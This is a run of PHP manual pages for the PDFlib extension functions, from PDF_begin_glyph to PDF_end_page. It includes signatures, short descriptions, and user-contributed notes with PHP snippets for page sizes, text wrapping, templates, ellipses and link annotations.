a, b, c, d, e, f (Will be ignored in the second pass of the font definition for Type 3 font subsets) The elements of the font matrix. This matrix defines the coordinate system in which the glyphs will be drawn. The six values make up a matrix in the same way as in PostScript and PDF. In order to avoid degenerate transformations, a*d must not be equal to b*c. A typical font matrix for a 1000 x 1000 coordinate system is [0.001, 0, 0, 0.001, 0, 0].

optlist (Ignored in the second pass for subset fonts) An option list. The following options can be used: colorized, familyname, stretch, weight, widthsonly


Start glyph definition for Type 3 font

  • « PDF_begin_font
  • PDF_begin_item »
  • PHP Manual
  • PDF Functions
  • Start glyph definition for Type 3 font

PDF_begin_glyph

(PECL pdflib >= 2.0.0)

PDF_begin_glyph — Start glyph definition for Type 3 font

Description

bool PDF_begin_glyph ( resource $pdfdoc , string $glyphname , float $wx , float $llx , float $lly , float $urx , float $ury )

Starts a glyph definition for a Type 3 font.

User Contributed Notes

There are no user contributed notes for this page.


Open structure element or other content item

  • « PDF_begin_glyph
  • PDF_begin_layer »
  • PHP Manual
  • PDF Functions
  • Open structure element or other content item

PDF_begin_item

(PECL pdflib >= 2.0.0)

PDF_begin_item — Open structure element or other content item

Description

int PDF_begin_item ( resource $pdfdoc , string $tag , string $optlist )

Opens a structure element or other content item with attributes supplied as options.

User Contributed Notes

There are no user contributed notes for this page.


Start layer

  • « PDF_begin_item
  • PDF_begin_page_ext »
  • PHP Manual
  • PDF Functions
  • Start layer

PDF_begin_layer

(PECL pdflib >= 2.0.0)

PDF_begin_layer — Start layer

Description

bool PDF_begin_layer ( resource $pdfdoc , int $layer )

Starts a layer for subsequent output on the page. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.


Start new page

  • « PDF_begin_layer
  • PDF_begin_page »
  • PHP Manual
  • PDF Functions
  • Start new page

PDF_begin_page_ext

(PECL pdflib >= 2.0.0)

PDF_begin_page_ext — Start new page

Description

bool PDF_begin_page_ext ( resource $pdfdoc , float $width , float $height , string $optlist )

Adds a new page to the document, and specifies various options. The parameters width and height are the dimensions of the new page in points. Returns TRUE on success or FALSE on failure.

Common Page Sizes in Points
name | size
A0 | 2380 x 3368
A1 | 1684 x 2380
A2 | 1190 x 1684
A3 | 842 x 1190
A4 | 595 x 842
A5 | 421 x 595
A6 | 297 x 421
B5 | 501 x 709
letter (8.5" x 11") | 612 x 792
legal (8.5" x 14") | 612 x 1008
ledger (17" x 11") | 1224 x 792
11" x 17" | 792 x 1224

User Contributed Notes

There are no user contributed notes for this page.


Start new page [deprecated]

  • « PDF_begin_page_ext
  • PDF_begin_pattern »
  • PHP Manual
  • PDF Functions
  • Start new page [deprecated]

PDF_begin_page

(PHP 4, PECL pdflib >= 1.0.0)

PDF_begin_page — Start new page [deprecated]

Description

bool PDF_begin_page ( resource $pdfdoc , float $width , float $height )

Adds a new page to the document. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_begin_page_ext() instead.

User Contributed Notes

rz at daimi dot au dot dk 20-Aug-2005 01:53
The problem is that A4 is *NOT* exactly 210mm*297mm.
(Further more, the 2.835016835017 is incorrect. You convert from mm to pps by dividing by 25.4 and multiplying by 72. Hence the ratio is 2.83464566929133858267).
The code that I posted in may produces correct sizes.
(Except for the "m65" format, sorry. "m65" is the same as "dl", and should return the same values).
d dot schneider at 24you dot de 07-Jul-2005 06:47
Try this...

<?

function mm2pt($val){
    return floatval($val * 2.835016835017);
    }

$xpdf = pdf_new();
pdf_open_file($xpdf);
pdf_begin_page($xpdf, mm2pt(210), mm2pt(297));

// ...

?>
rz at daimi dot au dot dk 28-May-2005 10:47
The DIN paper sizes below are rounded.
Theese functions returns exact paper sizes:

<?php
function paperheight($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 11/2.54*72;
  case "m65": return paperheight("c6");
  case "ledger": case "tabloid": return  17*72;
  case "legal": return paperwidth("ledger");
  case "letter": return 11*72;
  default: return paperwidth($name)*sqrt(2);
  }
}
function paperwidth($papername) {
  $name=strtolower($papername);
  switch($name) {
  case "dl": return 22/2.54*72;
  case "m65": return paperwidth("c5");
  case "ledger": case "tabloid": return  14*72;
  case "legal": case "letter": return paperheight("ledger")>>1;
  default:
    $i=strpos("ebca",$name{0});
    $j=substr($name,1);
    if($i!=false && ($j>0 || $j==="0"))
      return 100/(pow(2,($i+$j*4-1)/8))/2.54*72;
    else
      die("Unkown paper format: $papername");
  }
}

$paper = "A4";
$w = paperwidth($paper);
$h = paperheight($paper);
echo "$paper: $w ppt * $h ppt";
?>
ceo at l-i-e dot com 30-Mar-2005 10:12
I spent a lot of hours tweaking numbers in my PDF source, trying to nudge things the right way, and, invariably, really messing up big-time...

Then one day I realized that all these numbers were supposed to be (INCHES * 72).

Now my PDF code looks more like:
<?php
.
.
.
  pdf_begin_page($pdf, 8.5 * 72, 11 * 72);
.
.  /* set up $helvetica as font */
.
  pdf_set_font($pdf, $helvetica, 9);
  $leading = pdf_get_value($pdf, 'leading');
  pdf_show_boxed($pdf, 0.5 * 72, 0.5 * 72, 4.0 * 72, $leading, 'left', '');
?>

0.0, 0.0 is at the bottom left.
8.5 * 72, 11 * 72 is at the top right.
Everything in between is in x.xx * 72 where x.xx is INCHES.

Suddenly, I can visualize the PDF while I'm typing.

Might work for you too.

Sample linked from:
http://l-i-e.com/resume.htm


Start pattern definition

  • « PDF_begin_page
  • PDF_begin_template_ext »
  • PHP Manual
  • PDF Functions
  • Start pattern definition

PDF_begin_pattern

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_begin_pattern — Start pattern definition

Description

int PDF_begin_pattern ( resource $pdfdoc , float $width , float $height , float $xstep , float $ystep , int $painttype )

Starts a new pattern definition.

User Contributed Notes

There are no user contributed notes for this page.


Start template definition

  • « PDF_begin_pattern
  • PDF_begin_template »
  • PHP Manual
  • PDF Functions
  • Start template definition

PDF_begin_template_ext

(PECL pdflib >= 2.1.0)

PDF_begin_template_ext — Start template definition

Description

int PDF_begin_template_ext ( resource $pdfdoc , float $width , float $height , string $optlist )

Starts a new template definition.

User Contributed Notes

There are no user contributed notes for this page.


Start template definition [deprecated]

  • « PDF_begin_template_ext
  • PDF_circle »
  • PHP Manual
  • PDF Functions
  • Start template definition [deprecated]

PDF_begin_template

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_begin_template — Start template definition [deprecated]

Description

int PDF_begin_template ( resource $pdfdoc , float $width , float $height )

Starts a new template definition.

This function is deprecated since PDFlib version 7, use PDF_begin_template_ext() instead.

User Contributed Notes

rz at daimi dot au dot dk 27-Mar-2005 02:55
Sorry. In the previous note I somehow managed to include the same program twice.
The program that uses templates to draw the fractal is

<?php
function initmengers(&$pdf,$level) {
  static $mengers;
  if($level>0) initmengers($pdf,$level-1);
  $mengers[$level] = pdf_begin_template($pdf,1,1);
  if($level===0) {
    pdf_rect($pdf,$x,$y,1,1);
    pdf_fill($pdf);
  }
  else {
    for($i=0; $i<3; $i++)
      for($j=0; $j<3; $j++)
    if($i!=1 || $j!=1)
      pdf_place_image($pdf,$mengers[$level-1],$j/3,$i/3,1/3);
  }
  pdf_end_template($pdf);
  return $mengers[$level];
}
$pdf = pdf_new();
pdf_open_file($pdf);
$pic = initmengers($pdf,6);
pdf_begin_page($pdf, 595, 421);
pdf_place_image($pdf,$pic,50,50,300);
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_delete($pdf);
?>
rz at daimi dot au dot dk 27-Mar-2005 05:23
A template is an "image" that can be drawn like a normal image, but is composed of pdflib-commands, directly specified in the program.
Templates can be used if you have a graphical pattern that you want to repeat several times - i.e. a logo repeated on top of each page. As the pdf-commands that draws the template are only included once in the file even if the template is shown several times, you can save a lot of space.

This program draws a simple fractal without the use of templates:

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
    pdf_rect($pdf,$x,$y,$w,$w);
    pdf_fill($pdf);
    return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
    for($j=0; $j<3; $j++)
      if($i!=1 || $j!=1)
    drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>

The file created is almost 1Mb.
Using templates to store the intermediate results reduces the filesize to a mere 3kb.

<?php
function drawmenger(&$pdf,$x,$y,$w,$level) {
  if($level===0) {
    pdf_rect($pdf,$x,$y,$w,$w);
    pdf_fill($pdf);
    return;
  }
  $w /= 3;
  for($i=0; $i<3; $i++)
    for($j=0; $j<3; $j++)
      if($i!=1 || $j!=1)
    drawmenger($pdf,$x+$w*$j,$y+$w*$i,$w,$level-1);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
drawmenger($pdf,50,50,300,6);

header('Content-type: application/pdf');
header('Content-disposition: inline; filename=test.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
?>


Draw a circle

  • « PDF_begin_template
  • PDF_clip »
  • PHP Manual
  • PDF Functions
  • Draw a circle

PDF_circle

(PHP 4, PECL pdflib >= 1.0.0)

PDF_circle — Draw a circle

Description

bool PDF_circle ( resource $pdfdoc , float $x , float $y , float $r )

Adds a circle. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Clip to current path

  • « PDF_circle
  • PDF_close_image »
  • PHP Manual
  • PDF Functions
  • Clip to current path

PDF_clip

(PHP 4, PECL pdflib >= 1.0.0)

PDF_clip — Clip to current path

Description

bool PDF_clip ( resource $p )

Uses the current path as clipping path, and terminate the path. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Close image

  • « PDF_clip
  • PDF_close_pdi_page »
  • PHP Manual
  • PDF Functions
  • Close image

PDF_close_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_close_image — Close image

Description

bool PDF_close_image ( resource $p , int $image )

Closes an image retrieved with the PDF_open_image() function.

User Contributed Notes

There are no user contributed notes for this page.


Close the page handle

  • « PDF_close_image
  • PDF_close_pdi »
  • PHP Manual
  • PDF Functions
  • Close the page handle

PDF_close_pdi_page

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_close_pdi_page — Close the page handle

Description

bool PDF_close_pdi_page ( resource $p , int $page )

Closes the page handle, and frees all page-related resources. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Close the input PDF document [deprecated]

  • « PDF_close_pdi_page
  • PDF_close »
  • PHP Manual
  • PDF Functions
  • Close the input PDF document [deprecated]

PDF_close_pdi

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_close_pdi — Close the input PDF document [deprecated]

Description

bool PDF_close_pdi ( resource $p , int $doc )

Closes all open page handles, and closes the input PDF document. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 7, use PDF_close_pdi_document() instead.

User Contributed Notes

There are no user contributed notes for this page.


Close pdf resource [deprecated]

  • « PDF_close_pdi
  • PDF_closepath_fill_stroke »
  • PHP Manual
  • PDF Functions
  • Close pdf resource [deprecated]

PDF_close

(PHP 4, PECL pdflib >= 1.0.0)

PDF_close — Close pdf resource [deprecated]

Description

bool PDF_close ( resource $p )

Closes the generated PDF file, and frees all document-related resources. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_end_document() instead.

User Contributed Notes

There are no user contributed notes for this page.


Close, fill and stroke current path

  • « PDF_close
  • PDF_closepath_stroke »
  • PHP Manual
  • PDF Functions
  • Close, fill and stroke current path

PDF_closepath_fill_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath_fill_stroke — Close, fill and stroke current path

Description

bool PDF_closepath_fill_stroke ( resource $p )

Closes the path, fills, and strokes it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Close and stroke path

  • « PDF_closepath_fill_stroke
  • PDF_closepath »
  • PHP Manual
  • PDF Functions
  • Close and stroke path

PDF_closepath_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath_stroke — Close and stroke path

Description

bool PDF_closepath_stroke ( resource $p )

Closes the path, and strokes it. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Close current path

  • « PDF_closepath_stroke
  • PDF_concat »
  • PHP Manual
  • PDF Functions
  • Close current path

PDF_closepath

(PHP 4, PECL pdflib >= 1.0.0)

PDF_closepath — Close current path

Description

bool PDF_closepath ( resource $p )

Closes the current path. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Concatenate a matrix to the CTM

  • « PDF_closepath
  • PDF_continue_text »
  • PHP Manual
  • PDF Functions
  • Concatenate a matrix to the CTM

PDF_concat

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_concat — Concatenate a matrix to the CTM

Description

bool PDF_concat ( resource $p , float $a , float $b , float $c , float $d , float $e , float $f )

Concatenates a matrix to the current transformation matrix (CTM). Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Output text in next line

  • « PDF_concat
  • PDF_create_3dview »
  • PHP Manual
  • PDF Functions
  • Output text in next line

PDF_continue_text

(PHP 4, PECL pdflib >= 1.0.0)

PDF_continue_text — Output text in next line

Description

bool PDF_continue_text ( resource $p , string $text )

Prints text at the next line. Returns TRUE on success or FALSE on failure.

User Contributed Notes

cbaltaci at turkisp dot com 13-Sep-2005 12:59
Shortest way to wordwrap in pdf_continue_text. There is no problem with new lines. Thnx to GTECHNICS.com...

<?
$text = $_POST['texfield']; ;
$lines = explode("\n",$text);
pdf_set_text_pos($pdfdoc,$x ,$y);
foreach($lines as $line){
    $foo = $line;
    $foo = wordwrap($foo,122,"|");
    $Arrx = explode("|",$foo);
    $i = 0;
    while ($Arrx[$i] != "") {
       pdf_continue_text($pdfdoc,$Arrx[$i]);
       $i++;
    }
}
?>
timo dot schmid at gmail dot com 01-Jul-2005 09:19
I found no possibility to align a Text right. So I wrote a function:

<?php
function pdf_align_right($string, $chars = 10){
    $string = str_pad($string, $chars, " ", STR_PAD_LEFT);
    // Spaces in PDF-Documents are only the Half of a Normal Letter: So we replace them with 2 Spaces
    $string = preg_replace("/ /", "  ", $string);
    return $string;
}
?>

Note that the 2nd Parameter is NOT the Lenght of the returned String because the Spaces will be replaced with 2 Spaces.
stephen at thelonecoder dot com 28-Jun-2005 05:06
For wrapping text in pdf this is the method that I have been using .

It handles variable font and sizes and also variable widths on the paragraph.

<?php
        $c = $db->row['content'];

    $color = convert_hexcolor_rgbdec($color_hex);
    pdf_setcolor($pdf, 'both', 'rgb', $color['r'], $color['g'], $color['b']);

    $font = pdf_findfont($pdf, "$fontStyle", "host", 1);
    pdf_setfont($pdf, $font, $s);

    $par1 = stripslashes($c);

    $j = 0;
    $n = 0;
    while($j < $pw && $c != "") {
           $f = substr($par1, $n, 1);
           $fWidth = pdf_stringwidth($pdf, "$f", 1, $s);
           $j = $j + $fWidth;
           $fWidth = 0;
           $n++;
      }
    $wrap = $n;

    $lead = $s + 2;
    $paragraph = wordwrap($paragraph, $wrap, "***");
    $parArr = explode("***", $paragraph);

    pdf_show_xy($pdf, "$parArr[0]", $x, $y);
    pdf_set_leading($pdf, $lead);

    $i = 1;
    while($parArr[$i]) {
        pdf_continue_text($pdf, "$parArr[$i]");
        $i++;
    }
}
marco at elevate dot nl 06-Nov-2002 04:09
// Replace the while loop with this foreach and empty lines
// won't be a problem.

foreach($Arr as $line) {
      pdf_continue_text($pdf,$line);
}
npoole at binary dot net 05-Jul-2002 11:34
This is how I wrap text in a PDF file built from database content...

$foo = mysql_result($results,0,"foo");

$foo = wordwrap($foo,72,"|");

$Arr = explode("|",$foo);
$i = 0;
while ($Arr[$i] != "") {
        pdf_continue_text($pdf,$Arr[$i]);
        $i++;
}

Someone mentioned to me (and rightfully so) that this may be flawed if you have 2 blank lines, and then more text in the variable.  Use it for what you will though, you may find it (or an alteration of it) useful.


Create 3D view

  • « PDF_continue_text
  • PDF_create_action »
  • PHP Manual
  • PDF Functions
  • Create 3D view

PDF_create_3dview

(PECL pdflib >= 2.1.0)

PDF_create_3dview — Create 3D view

Description

int PDF_create_3dview ( resource $pdfdoc , string $username , string $optlist )

Creates a 3D view.

This function requires PDF 1.6.

User Contributed Notes

There are no user contributed notes for this page.


Create action for objects or events

  • « PDF_create_3dview
  • PDF_create_annotation »
  • PHP Manual
  • PDF Functions
  • Create action for objects or events

PDF_create_action

(PECL pdflib >= 2.0.0)

PDF_create_action — Create action for objects or events

Description

int PDF_create_action ( resource $pdfdoc , string $type , string $optlist )

Creates an action which can be applied to various objects and events.

User Contributed Notes

astanos dot ch 20-Mar-2008 10:30
The equal sign is interpreted as a separator sign in the optlist. But there's a way to have an url with GET params.
With the example given below:

$url = PDF_create_action($p, "URI", "url {http://www.pdflib.com/?page=home}");

PDF_create_annotation ($p, 44, 100, 55,700, "Link", "linewidth=0 action {activate $url}");
hobbesmitATthatGoogleMailProvider 06-Dec-2007 07:41
I just want to point out that PDF_create_action does not work for URLs with GET parameters (has problems with '='). Running urlencode will just create a URL that is not translated properly by the browser (at least for Firefox 2.0.0.11).

Believe it or not, your best bet is to use pdf_add_weblink(), which is supposedly deprecated.
joshivs at gmail dot com 28-Apr-2006 12:59
Here is a  note i feel important for newbies

$url = PDF_create_action($p, "URI", "url=http://www.pdflib.com");

PDF_create_annotation ($p, 44, 100, 55,700, "Link", "linewidth=0 action {activate $url}");

Above  2 lines will change the hand
cursor once your cursor is in the rectangle as assigned by the
create_annotation command.  Once you click in that area, it will
bring you to the url in create_action command.


Create rectangular annotation

  • « PDF_create_action
  • PDF_create_bookmark »
  • PHP Manual
  • PDF Functions
  • Create rectangular annotation

PDF_create_annotation

(PECL pdflib >= 2.0.0)

PDF_create_annotation — Create rectangular annotation

Description

bool PDF_create_annotation ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $type , string $optlist )

Creates a rectangular annotation on the current page.

User Contributed Notes

There are no user contributed notes for this page.


Create bookmark

  • « PDF_create_annotation
  • PDF_create_field »
  • PHP Manual
  • PDF Functions
  • Create bookmark

PDF_create_bookmark

(PECL pdflib >= 2.0.0)

PDF_create_bookmark — Create bookmark

Description

int PDF_create_bookmark ( resource $pdfdoc , string $text , string $optlist )

Creates a bookmark subject to various options.

User Contributed Notes

Anonymous 16-Sep-2011 02:23
Bookmarks as URL

<?php
  $action = $p->create_action("URI", "url=http://www.example.com");
  $p->create_bookmark("www.example.com", "action {activate $action}");
?>

    OR

<?php
  $action = pdf_create_action($p, "URI", "url=http://www.example.com");
  pdf_create_bookmark($p, "www.example.com", "action {activate $action}");
?>

Bookmarks as GoTo

<?php
  $optlist = "destination={page=1 type=fixed left=50 top=700 zoom=1}";
  $action = $p->create_action("GoTo", $optlist);
  $p->create_bookmark("page1", "action {activate $action}"); [snip]
?>

    OR

<?php
  $optlist = "destination={page=1 type=fixed left=50 top=700 zoom=1}";
  $action = pdf_create_action($p, "GoTo", $optlist);
  pdf_create_bookmark($p, "page1", "action {activate $action}");
?>


Create form field

  • « PDF_create_bookmark
  • PDF_create_fieldgroup »
  • PHP Manual
  • PDF Functions
  • Create form field

PDF_create_field

(PECL pdflib >= 2.0.0)

PDF_create_field — Create form field

Description

bool PDF_create_field ( resource $pdfdoc , float $llx , float $lly , float $urx , float $ury , string $name , string $type , string $optlist )

Creates a form field on the current page subject to various options.

User Contributed Notes

There are no user contributed notes for this page.


Create form field group

  • « PDF_create_field
  • PDF_create_gstate »
  • PHP Manual
  • PDF Functions
  • Create form field group

PDF_create_fieldgroup

(PECL pdflib >= 2.0.0)

PDF_create_fieldgroup — Create form field group

Description

bool PDF_create_fieldgroup ( resource $pdfdoc , string $name , string $optlist )

Creates a form field group subject to various options.

User Contributed Notes

There are no user contributed notes for this page.


Create graphics state object

  • « PDF_create_fieldgroup
  • PDF_create_pvf »
  • PHP Manual
  • PDF Functions
  • Create graphics state object

PDF_create_gstate

(PECL pdflib >= 2.0.0)

PDF_create_gstate — Create graphics state object

Description

int PDF_create_gstate ( resource $pdfdoc , string $optlist )

Creates a graphics state object subject to various options.

User Contributed Notes

There are no user contributed notes for this page.


Create PDFlib virtual file

  • « PDF_create_gstate
  • PDF_create_textflow »
  • PHP Manual
  • PDF Functions
  • Create PDFlib virtual file

PDF_create_pvf

(PECL pdflib >= 2.0.0)

PDF_create_pvf — Create PDFlib virtual file

Description

bool PDF_create_pvf ( resource $pdfdoc , string $filename , string $data , string $optlist )

Creates a named virtual read-only file from data provided in memory.

User Contributed Notes

Norbert Bruder 27-Feb-2008 05:28
<?php
$im = @ImageCreate (50, 100)
$background_color = ImageColorAllocate ($im, 255, 255, 255);
$text_color = ImageColorAllocate ($im, 233, 14, 91);
ImageString ($im, 1, 5, 5, "Test", $text_color);

ob_start();                                                        //turn output buffering on
ImagePNG ($im);                                                    //create PNG
$img_buffer = ob_get_contents();                                   //get the PNG of the output buffer
ob_end_clean();                                                    //clear and turns off this output buffering
pdf_create_pvf($pdf, "/pvf/image/image.png", $img_buffer, "");     //create a named virtual read-only file
$img_id = pdf_load_image($pdf, "png", "/pvf/image/image.png", ""); //open the named virtual read-only file
pdf_place_image($pdf, $img_id, 50, 770, 1);                        //Places the image in the PDF-file
?>


Create textflow object

  • « PDF_create_pvf
  • PDF_curveto »
  • PHP Manual
  • PDF Functions
  • Create textflow object

PDF_create_textflow

(PECL pdflib >= 2.0.0)

PDF_create_textflow — Create textflow object

Description

int PDF_create_textflow ( resource $pdfdoc , string $text , string $optlist )

Preprocesses text for later formatting and creates a textflow object.

User Contributed Notes

michal at g-v dot cz 09-Jun-2012 01:49
Textflow not supported in PDFlib Lite
Hangumk 13-Aug-2008 03:50
Not much documentation except the latest Pdflib manual, but either way the textlen is not required.

I have this and it works for me:

$opts = "fontname={$this->font[0]->_name} fontsize=$font_size encoding=$font_encoding alignment=$align ";
if ($indent) {
   $opts .= "leftindent=$indent ";
}
$textflow = pdf_create_textflow($this->_pdf,$data,$opts);

I've been working with the pdflib v7 for 2 months now, and since there's virtually no documentation on anythign except their manual, I recommend reading it. It's pretty good and detailed.
Alexandre Lveill 12-Mar-2008 06:50
I had trouble trouble adding the created textflow to the PDF. The create_textflow() method always returned 0 no matter how many textFlow I created until I added "textlen" to the optlist like this :

<?php
$length = strlen($infoJob['descriptionFac']);
$optlist = "fontname=Helvetica textlen=".$length." fontsize=".$fontSize." encoding=winansi";
?>

I don't know why, but apparently, in my case, textlen was a mandatory option...


Draw Bezier curve

  • « PDF_create_textflow
  • PDF_define_layer »
  • PHP Manual
  • PDF Functions
  • Draw Bezier curve

PDF_curveto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_curveto — Draw Bezier curve

Description

bool PDF_curveto ( resource $p , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Draws a Bezier curve from the current point, using 3 more control points. Returns TRUE on success or FALSE on failure.

User Contributed Notes

rune at zedeler dot dk 10-Mar-2005 04:51
Rod's function does not work (the thing produced is not even symmetrical).
Here is one that produces a correct approximation to an ellipse:

function pdf_ellipse ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
  $fac = (4*sqrt(2)-4)/3;
  $dx = $width*(1-$fac)/2;
  $dy = $height*(1-$fac)/2;
  pdf_moveto($pdfobj, $x,$y+$height/2);
  pdf_curveto($pdfobj, $x,$y+$height-$dy, $x+$dx,$y+$height, $x+$width/2,$y+$height);
  pdf_curveto($pdfobj, $x+$width-$dx,$y+$height, $x+$width,$y+$height-$dy, $x+$width,$y+$height/2);
  pdf_curveto($pdfobj, $x+$width,$y+$dy, $x+$width-$dx,$y, $x+$width/2,$y);
  pdf_curveto($pdfobj, $x+$dx,$y, $x,$y+$dy, $x,$y+$height/2);
}
rod-php at thecomplex dot com 01-Oct-2002 07:15
function pdf_ellipse_inscribed ($pdfobj,$x,$y,$width,$height) {
// Function to draw an ellipse inscribed in a rectangle
// described by lower left (x,y) with width and height.
    pdf_moveto($pdfobj, $x,$y+$height/2);
    pdf_curveto($pdfobj, $x,$y+$height/2,$x,$y+$height,$x+$width/2,$y+$height);
    pdf_curveto($pdfobj, $x+$width/2,$y+$height,$x+$width,$y+$height,$x+$width,$y+$height/2);
    pdf_curveto($pdfobj, $x+$width,$y+$height/2,$x+$width,$y,$x+$width/2,$y);
    pdf_curveto($pdfobj, $x+$width/2,$y,$x,$y,$x,$y+$height/2);
}


Create layer definition

  • « PDF_curveto
  • PDF_delete_pvf »
  • PHP Manual
  • PDF Functions
  • Create layer definition

PDF_define_layer

(PECL pdflib >= 2.0.0)

PDF_define_layer — Create layer definition

Description

int PDF_define_layer ( resource $pdfdoc , string $name , string $optlist )

Creates a new layer definition.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.


Delete PDFlib virtual file

  • « PDF_define_layer
  • PDF_delete_table »
  • PHP Manual
  • PDF Functions
  • Delete PDFlib virtual file

PDF_delete_pvf

(PECL pdflib >= 2.0.0)

PDF_delete_pvf — Delete PDFlib virtual file

Description

int PDF_delete_pvf ( resource $pdfdoc , string $filename )

Deletes a named virtual file and frees its data structures (but not the contents).

User Contributed Notes

There are no user contributed notes for this page.


Delete table object

  • « PDF_delete_pvf
  • PDF_delete_textflow »
  • PHP Manual
  • PDF Functions
  • Delete table object

PDF_delete_table

(PECL pdflib >= 2.1.0)

PDF_delete_table — Delete table object

Description

bool PDF_delete_table ( resource $pdfdoc , int $table , string $optlist )

Deletes a table and all associated data structures.

User Contributed Notes

There are no user contributed notes for this page.


Delete textflow object

  • « PDF_delete_table
  • PDF_delete »
  • PHP Manual
  • PDF Functions
  • Delete textflow object

PDF_delete_textflow

(PECL pdflib >= 2.0.0)

PDF_delete_textflow — Delete textflow object

Description

bool PDF_delete_textflow ( resource $pdfdoc , int $textflow )

Deletes a textflow and the associated data structures.

User Contributed Notes

There are no user contributed notes for this page.


Delete PDFlib object

  • « PDF_delete_textflow
  • PDF_encoding_set_char »
  • PHP Manual
  • PDF Functions
  • Delete PDFlib object

PDF_delete

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_delete — Delete PDFlib object

Description

bool PDF_delete ( resource $pdfdoc )

Deletes a PDFlib object, and frees all internal resources. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Add glyph name and/or Unicode value

  • « PDF_delete
  • PDF_end_document »
  • PHP Manual
  • PDF Functions
  • Add glyph name and/or Unicode value

PDF_encoding_set_char

(PECL pdflib >= 2.0.0)

PDF_encoding_set_char — Add glyph name and/or Unicode value

Description

bool PDF_encoding_set_char ( resource $pdfdoc , string $encoding , int $slot , string $glyphname , int $uv )

Adds a glyph name and/or Unicode value to a custom encoding.

User Contributed Notes

There are no user contributed notes for this page.


Close PDF file

  • « PDF_encoding_set_char
  • PDF_end_font »
  • PHP Manual
  • PDF Functions
  • Close PDF file

PDF_end_document

(PECL pdflib >= 2.0.0)

PDF_end_document — Close PDF file

Description

bool PDF_end_document ( resource $pdfdoc , string $optlist )

Closes the generated PDF file and applies various options.

User Contributed Notes

There are no user contributed notes for this page.


Terminate Type 3 font definition

  • « PDF_end_document
  • PDF_end_glyph »
  • PHP Manual
  • PDF Functions
  • Terminate Type 3 font definition

PDF_end_font

(PECL pdflib >= 2.0.0)

PDF_end_font — Terminate Type 3 font definition

Description

bool PDF_end_font ( resource $pdfdoc )

Terminates a Type 3 font definition.

User Contributed Notes

There are no user contributed notes for this page.


Terminate glyph definition for Type 3 font

  • « PDF_end_font
  • PDF_end_item »
  • PHP Manual
  • PDF Functions
  • Terminate glyph definition for Type 3 font

PDF_end_glyph

(PECL pdflib >= 2.0.0)

PDF_end_glyph — Terminate glyph definition for Type 3 font

Description

bool PDF_end_glyph ( resource $pdfdoc )

Terminates a glyph definition for a Type 3 font.

User Contributed Notes

There are no user contributed notes for this page.


Close structure element or other content item

  • « PDF_end_glyph
  • PDF_end_layer »
  • PHP Manual
  • PDF Functions
  • Close structure element or other content item

PDF_end_item

(PECL pdflib >= 2.0.0)

PDF_end_item — Close structure element or other content item

Description

bool PDF_end_item ( resource $pdfdoc , int $id )

Closes a structure element or other content item.

User Contributed Notes

There are no user contributed notes for this page.


Deactivate all active layers

  • « PDF_end_item
  • PDF_end_page_ext »
  • PHP Manual
  • PDF Functions
  • Deactivate all active layers

PDF_end_layer

(PECL pdflib >= 2.0.0)

PDF_end_layer — Deactivate all active layers

Description

bool PDF_end_layer ( resource $pdfdoc )

Deactivates all active layers. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.


Finish page

  • « PDF_end_layer
  • PDF_end_page »
  • PHP Manual
  • PDF Functions
  • Finish page

PDF_end_page_ext

(PECL pdflib >= 2.0.0)

PDF_end_page_ext — Finish page

Description

bool PDF_end_page_ext ( resource $pdfdoc , string $optlist )

Finishes a page, and applies various options. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Finish page

  • « PDF_end_page_ext
  • PDF_end_pattern »
  • PHP Manual
  • PDF Functions
  • Finish page

PDF_end_page

(PHP 4, PECL pdflib >= 1.0.0)

PDF_end_page — Finish page

Description

bool PDF_end_page ( resource $p )

